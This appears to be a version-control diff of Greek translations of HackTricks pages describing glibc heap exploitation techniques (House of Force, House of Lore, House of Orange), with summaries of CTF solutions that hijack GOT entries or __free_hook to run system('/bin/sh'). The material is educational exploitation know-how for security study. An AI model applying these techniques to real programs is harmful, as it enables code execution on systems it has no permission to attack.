* Χρησιμοποιήστε το House of Einherjar για να πάρετε μια κατάσταση επικάλυψης κομματιών και να τελειώσετε με Tcache poisoning για να πάρετε ένα πρωτεύον γράψιμο.
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
{% endhint %}

View file

@ -1,26 +1,25 @@
# Σπίτι της Δύναμης
# House of Force
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line"> [**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) <img src="/.gitbook/assets/arte.png" alt="" data-size="line"> \
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line"> [**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στη 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
## Βασικές Πληροφορίες
### Κώδικας
* Αυτή η τεχνική επιδιορθώθηκε ([**εδώ**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) και παράγει αυτό το σφάλμα: `malloc(): corrupted top size`
* Αυτή η τεχνική επιδιορθώθηκε ([**εδώ**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) και παράγει το σφάλμα: `malloc(): corrupted top size`
* Μπορείτε να δοκιμάσετε τον [**κώδικα από εδώ**](https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html) για να τον δοκιμάσετε αν θέλετε.
### Στόχος
@ -29,14 +28,14 @@
### Απαιτήσεις
* Ένας υπερχείλισης που επιτρέπει την αντικατάσταση του μεγέθους του κεφαλαίου του κορυφαίου κομματιοϋ (π.χ. -1).
* Να είναι δυνατόν να ελέγχεται το μέγεθος της δέσμευσης της στοίβας
* Ένα υπερχείλιση που επιτρέπει την αντικατάσταση του μεγέθους του κεφαλαίου του κορυφαίου κομματιού (π.χ. -1).
* Να είναι δυνατόν να ελέγχεται το μέγεθος της δέσμευσης της στοίβας.
### Επίθεση
Αν ένας επιτιθέμενος θέλει να δεσμεύσει ένα κομμάτι στη διεύθυνση P για να αντικαταστήσει μια τιμή εδώ. Ξεκινάει αντικαθιστώντας το μέγεθος του κορυφαίου κομματιού με `-1` (ίσως με ένα υπερχείλιση). Αυτό εξασφαλίζει ότι το malloc δεν θα χρησιμοποιεί το mmap για κάθε δέσμευση καθώς το Top chunk θα έχει πάντα αρκετό χώρο.
Στη συνέχεια, υπολογίζει την απόσταση μεταξύ της διεύθυνσης του κορυφαίου κομματιού και του χώρου στόχου για να δεσμεύσει. Αυτό γίνεται επειδή μια δέσμευση με αυτό το μέγεθος θα πραγματοποιηθεί για να μετακινηθεί το κορυφαίο κομμάτι σε αυτή τη θέση. Έτσι η διαφορά/μέγεθος μπορεί να υπολογιστεί εύκολα:
Στη συνέχεια, υπολογίζεται η απόσταση μεταξύ της διεύθυνσης του κορυφαίου κομματιού και του χώρου στόχου για να γίνει η δέσμευση. Αυτό γίνεται επειδή μια δέσμευση με αυτό το μέγεθος θα πραγματοποιηθεί για να μετακινηθεί το κορυφαίο κομμάτι σε αυτή τη θέση. Έτσι η διαφορά/μέγεθος μπορεί να υπολογιστεί εύκολα:
```c
// From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5
/*
@ -49,7 +48,7 @@
* req = target - old_top - 4*sizeof(long)
*/
```
Συνεπώς, η διαμόρφωση μεγέθους `target - old_top - 4*sizeof(long)` (τα 4 longs είναι λόγω των μεταδεδομένων του κορυφαίου τμήματος και του νέου τμήματος όταν εκχωρηθεί) θα μετακινήσει το κορυφαίο τμήμα στη διεύθυνση που θέλουμε να αντικαταστήσουμε.\
Συνεπώς, η δέσμευση μεγέθους `target - old_top - 4*sizeof(long)` (τα 4 longs είναι λόγω των μεταδεδομένων του κορυφαίου τμήματος και του νέου τμήματος όταν δεσμεύεται) θα μετακινήσει το κορυφαίο τμήμα στη διεύθυνση που θέλουμε να αντικαταστήσουμε.\
Στη συνέχεια, κάντε ένα ακόμη malloc για να λάβετε ένα τμήμα στη διεύθυνση στόχου.
### Αναφορές & Άλλα Παραδείγματα
@ -62,13 +61,13 @@
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11)
* Ο στόχος αυτού του σεναρίου είναι ένα ret2win όπου πρέπει να τροποποιήσουμε τη διεύθυνση μιας συνάρτησης που θα κληθεί από τη διεύθυνση της συνάρτησης ret2win
* Το δυαδικό έχει ένα υπερχείλιση που μπορεί να εκμεταλλευτεί για να τροποποιήσει το μέγεθος του κορυφαίου τμήματος, το οποίο τροποποιείται σε -1 ή p64(0xffffffffffffffff)
* Στη συνέχεια, υπολογίζεται η διεύθυνση στο σημείο όπου υπάρχει ο δείκτης για αντικατάσταση, και η διαφορά από την τρέχουσα θέση του κορυφαίου τμήματος εκεί εκχωρείται με `malloc`
* Τέλος, εκχωρείται ένα νέο τμήμα που θα περιέχει αυτόν τον επιθυμητό στόχο μέσα στον οποίο αντικαθίσταται από τη συνάρτηση ret2win
* Στη συνέχεια, υπολογίζεται η διεύθυνση στο σημείο όπου υπάρχει ο δείκτης που θα αντικατασταθεί, και η διαφορά από την τρέχουσα θέση του κορυφαίου τμήματος εκεί δεσμεύεται με `malloc`
* Τέλος, δεσμεύεται ένα νέο τμήμα που θα περιέχει αυτόν τον επιθυμητό στόχο μέσα στον οποίο αντικαθίσταται από τη συνάρτηση ret2win
* [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp)
* Στο `Input your name:` υπάρχει μια αρχική ευπάθεια που επιτρέπει τη διαρροή μιας διεύθυνσης από τη στοίβα
* Στη συνέχεια, στις λειτουργίες `Org:` και `Host:`, είναι δυνατό να γεμίσετε τα 64B του δείκτη `s` όταν ζητείται το **όνομα org**, το οποίο στη στοίβα ακολουθείται από τη διεύθυνση του v2, η οποία στη συνέχεια ακολουθείται από το **όνομα host** που υποδεικνύεται. Καθώς στη συνέχεια το strcpy θα αντιγράφει τα περιεχόμενα του s σε ένα τμήμα μεγέθους 64B, είναι δυνατό να **αντικατασταθεί το μέγεθος του κορυφαίου τμήματος** με τα δεδομένα που τοποθετούνται μέσα στο **όνομα host**.
* Τώρα που είναι δυνατή η αυθαίρετη εγγραφή, το GOT του `atoi` τροποποιήθηκε στη διεύθυνση του printf. Στη συνέχεια, ήταν δυνατό να διαρρεύσει η διεύθυνση του `IO_2_1_stderr` _με_ `%24$p`. Και με αυτή τη διαρροή της libc ήταν δυνατό να τροποποιηθεί ξανά το GOT του `atoi` με τη διεύθυνση του `system` και να κληθεί περνώντας ως παράμετρο `/bin/sh`
* Στη συνέχεια, στις λειτουργίες `Org:` και `Host:`, είναι δυνατό να γεμίσετε τα 64B του δείκτη `s` όταν ζητείται το **όνομα org**, το οποίο στη στοίβα ακολουθείται από τη διεύθυνση του v2, η οποία ακολουθείται στη συνέχεια από το **όνομα host** που υποδεικνύεται. Καθώς στη συνέχεια το strcpy θα αντιγράφει τα περιεχόμενα του s σε ένα τμήμα μεγέθους 64B, είναι δυνατό να **αντικατασταθεί το μέγεθος του κορυφαίου τμήματος** με τα δεδομένα που τοποθετούνται μέσα στο **όνομα host**.
* Τώρα που είναι δυνατή η αυθαίρετη εγγραφή, το GOT του `atoi` τροποποιήθηκε στη διεύθυνση του printf. Στη συνέχεια, ήταν δυνατό να διαρρεύσει η διεύθυνση του `IO_2_1_stderr` _με_ `%24$p`. Και με αυτή τη διαρροή της libc ήταν δυνατό να τροποποιηθεί ξανά το GOT του `atoi` με τη διεύθυνση του `system` και να κληθεί με παράμετρο `/bin/sh`
* Μια εναλλακτική μέθοδος [που προτάθηκε σε αυτήν την άλλη ανάλυση](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#2016-bctf-bcloud), είναι να αντικατασταθεί το `free` με το `puts`, και στη συνέχεια να προστεθεί η διεύθυνση του `atoi@got`, στον δείκτη που αργότερα θα ελευθερωθεί ώστε να διαρρεύσει και με αυτή τη διαρροή να αντικατασταθεί ξανά το `atoi@got` με το `system` και να κληθεί με `/bin/sh`.
* [https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html)
* Υπάρχει μια UAF που επιτρέπει την επαναχρησιμοποίηση ενός τμήματος που απελευθερώθηκε χωρίς να καθαριστεί ο δείκτης. Επειδή υπάρχουν μερικές μέθοδοι ανάγνωσης, είναι δυνατό να διαρρεύσει μια διεύθυνση libc γράφοντας ένα δείκτη στη λειτουργία free στο GOT εδώ και στη συνέχεια καλώντας τη λειτουργία ανάγνωσης.
* Στη συνέχεια, χρησιμοποιήθηκε το House of force (καταχρηστεύοντας το UAF) για να αντικατασταθεί το μέγεθος του αριστερού χώρου με ένα -1, να εκχωρηθεί ένα τμήμα αρκετά μεγάλο για να φτάσει στο free hook, και στη συνέχεια να εκχωρηθεί άλλο ένα τμήμα που θα περιέχει το free hook. Στη συνέχεια, γράψτε στο hook τη διεύθυνση του `system`, γράψτε σε ένα τμήμα `"/bin/sh"` και τέλος ελευθερώστε το τμήμα με αυτό το περιεχόμενο συμβολοσειράς.
* Στη συνέχεια, χρησιμοποιήθηκε το House of force (καταχρηστικά το UAF) για να αντικατασταθεί το μέγεθος του αριστερού χώρου με ένα -1, να δεσμευτεί ένα τμήμα αρκετά μεγάλο για να φτάσει στο free hook, και στη συνέχεια να δεσμευτεί ένα άλλο τμήμα που θα περιέχει το free hook. Στη συνέχεια, γράψτε στο hook τη διεύθυνση του `system`, γράψτε σε ένα τμήμα `"/bin/sh"` και τέλος ελευθερώστε το τμήμα με αυτό το περιεχόμενο συμβολοσειράς.

View file

@ -1,18 +1,19 @@
# House of Lore | Επίθεση Small bin
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τεχνικές χάκινγκ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Βασικές Πληροφορίες
@ -26,28 +27,28 @@
### Στόχος
* Εισαγωγή ενός **ψεύτικου μικρού κομματιού στον μικρό κάδο ώστε να είναι δυνατή η εκχώρησή του**.\
* Εισαγωγή ενός **ψεύτικου μικρού κομματιού στον μικρό bin ώστε να είναι δυνατή η εκχώρησή του**.\
Σημειώστε ότι το μικρό κομμάτι που προστέθηκε είναι αυτό που δημιουργεί ο επιτιθέμενος και όχι ένα ψεύτικο σε μια αυθαίρετη θέση.
### Απαιτήσεις
* Δημιουργήστε 2 ψεύτικα κομμάτια και συνδέστε τα μεταξύ τους και με το νόμιμο κομμάτι στον μικρό κάδο:
* Δημιουργήστε 2 ψεύτικα κομμάτια και συνδέστε τα μεταξύ τους και με το νόμιμο κομμάτι στον μικρό bin:
* `fake0.bk` -> `fake1`
* `fake1.fd` -> `fake0`
* `fake0.fd` -> `legit` (χρειάζεται να τροποποιήσετε ένα δείκτη στο απελευθερωμένο μικρό κομμάτι του μικρού κάδου μέσω κάποιας άλλης ευπάθειας)
* `fake0.fd` -> `legit` (χρειάζεται να τροποποιήσετε ένα δείκτη στο απελευθερωμένο μικρό κομμάτι bin μέσω κάποιας άλλης ευπάθειας)
* `legit.bk` -> `fake0`
Τότε θα μπορείτε να εκχωρήσετε το `fake0`.
### Επίθεση
* Ένα μικρό κομμάτι (`legit`) εκχωρείται, στη συνέχεια εκχωρείται ένα άλλο για να αποτρέψει τη συγχώνευση με το κομμάτι κορυφής. Στη συνέχεια, το `legit` απελευθερώνεται (μετακινώντας το στη λίστα αταξινόμητου κάδου) και εκχωρείται ένα μεγαλύτερο κομμάτι, **μετακινώντας το `legit` στον μικρό κάδο.**
* Ένας επιτιθέμενος δημιουργεί μερικά ψεύτικα μικρά κομμάτια και κάνει την απαραίτητη σύνδεση για να παρακάμψει τους ελέγχους ακεραιότητας:
* Ένα μικρό κομμάτι (`legit`) εκχωρείται, στη συνέχεια εκχωρείται ένα άλλο για να αποτρέψει τη συγχώνευση με το κομμάτι κορυφής. Στη συνέχεια, το `legit` απελευθερώνεται (μετακινώντας το στη λίστα αταξινόμητων κομματιών) και εκχωρείται ένα μεγαλύτερο κομμάτι, **μετακινώντας το `legit` στον μικρό bin.**
* Ένας επιτιθέμενος δημιουργεί μερικά ψεύτικα μικρά κομμάτια και κάνει την απαραίτητη σύνδεση για να παρακάμψει τους έλεγχους ακεραιότητας:
* `fake0.bk` -> `fake1`
* `fake1.fd` -> `fake0`
* `fake0.fd` -> `legit` (χρειάζεται να τροποποιήσετε ένα δείκτη στο απελευθερωμένο μικρό κομμάτι του μικρού κάδου μέσω κάποιας άλλης ευπάθειας)
* `fake0.fd` -> `legit` (χρειάζεται να τροποποιήσετε ένα δείκτη στο απελευθερωμένο μικρό κομμάτι bin μέσω κάποιας άλλης ευπάθειας)
* `legit.bk` -> `fake0`
* Εκχωρείται ένα μικρό κομμάτι για να πάρει το `legit`, κάνοντας το **`fake0`** στην κορυφή της λίστας των μικρών κάδων
* Εκχωρείται ένα μικρό κομμάτι για να πάρει το `legit`, κάνοντας το **`fake0`** στην κορυφή της λίστας των μικρών κομματιών
* Εκχωρείται άλλο ένα μικρό κομμάτι, παίρνοντας το `fake0` ως ένα κομμάτι, επιτρέποντας ενδεχομένως την ανάγνωση/εγγραφή δεικτών μέσα σε αυτό.
## Αναφορές
@ -56,16 +57,17 @@
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore)
* [https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τεχνικές χάκινγκ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,25 +1,26 @@
# House of Orange
# Σπίτι του Orange
{% hint style="success" %}
Μάθε & εξάσκησε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθε & εξάσκησε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
{% endhint %}
## Βασικές Πληροφορίες
### Κώδικας
* Βρείτε ένα παράδειγμα στο [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_orange.c)
* Η τεχνική εκμετάλλευσης διορθώθηκε σε αυτό το [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) οπότε αυτό δεν λειτουργεί πλέον (λειτουργεί σε παλαιότερες εκδόσεις από 2.26)
* Η τεχνική εκμετάλλευσης διορθώθηκε σε αυτό το [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) οπότε δεν λειτουργεί πλέον (λειτουργεί σε παλαιότερες εκδόσεις από 2.26)
* Ίδιο παράδειγμα **με περισσότερα σχόλια** στο [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)
### Στόχος
@ -35,45 +36,46 @@
Κάποιες απαραίτητες πληροφορίες από τα σχόλια από [**αυτό το παράδειγμα**](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)**:**
Το θέμα είναι ότι, σε παλαιότερες εκδόσεις της libc, όταν καλούνταν η λειτουργία `malloc_printerr` θα **επαναλάμβανε μια λίστα από δομές `_IO_FILE`** που αποθηκεύονταν στο `_IO_list_all`, και πραγματικά **εκτελούσε** ένα δείκτη εντολών σε αυτή τη δομή.\
Το θέμα είναι ότι, σε παλαιότερες εκδόσεις της libc, όταν καλούνταν η λειτουργία `malloc_printerr`, θα **επαναλάμβανε μια λίστα από δομές `_IO_FILE` που αποθηκεύονταν στο `_IO_list_all`**, και πραγματικά **εκτελούσε** ένα δείκτη εντολών σε αυτή τη δομή.\
Αυτή η επίθεση θα δημιουργήσει μια **ψεύτικη δομή `_IO_FILE`** την οποία θα γράψουμε στο **`_IO_list_all`**, και θα προκαλέσει την εκτέλεση της `malloc_printerr`.\
Στη συνέχεια θα **εκτελέσει οποιαδήποτε διεύθυνση** έχουμε αποθηκευμένη στους δείκτες μετάβασης των δομών **`_IO_FILE`**, και θα λάβουμε εκτέλεση κώδικα
Στη συνέχεια θα **εκτελέσει οποιαδήποτε διεύθυνση** έχουμε αποθηκευμένη στους **δείκτες άλματος των δομών `_IO_FILE`**, και θα λάβουμε εκτέλεση κώδικα
### Επίθεση
Η επίθεση ξεκινά από το να καταφέρει να πάρει το **top chunk** μέσα στο **unsorted bin**. Αυτό επιτυγχάνεται καλώντας την `malloc` με ένα μέγεθος μεγαλύτερο από το τρέχον μέγεθος του top chunk αλλά μικρότερο από το **`mmp_.mmap_threshold`** (προεπιλεγμένο είναι το 128ΚΒ), το οποίο αλλιώς θα ενεργοποιούσε την εκχώρηση `mmap`. Κάθε φορά που το μέγεθος του top chunk τροποποιείται, είναι σημαντικό να διασφαλιστεί ότι το **top chunk + το μέγεθος του** είναι σε σελίδα-ευθυγραμμισμένο και ότι το bit **prev\_inuse** του top chunk είναι πάντα ορισμένο.
Η επίθεση ξεκινά από τον χειρισμό για να πάρει το **κορυφαίο τμήμα** μέσα στο **unsorted bin**. Αυτό επιτυγχάνεται καλώντας την `malloc` με ένα μέγεθος μεγαλύτερο από το τρέχον μέγεθος του κορυφαίου τμήματος αλλά μικρότερο από το **`mmp_.mmap_threshold`** (προεπιλεγμένο είναι το 128ΚΒ), το οποίο αλλιώς θα ενεργοποιούσε την εκχώρηση `mmap`. Κάθε φορά που το μέγεθος του κορυφαίου τμήματος τροποποιείται, είναι σημαντικό να εξασφαλιστεί ότι το **κορυφαίο τμήμα + το μέγεθός του** είναι σε σελίδα-ευθυγραμμισμένο και ότι το bit **prev\_inuse** του κορυφαίου τμήματος είναι πάντα ορισμένο.
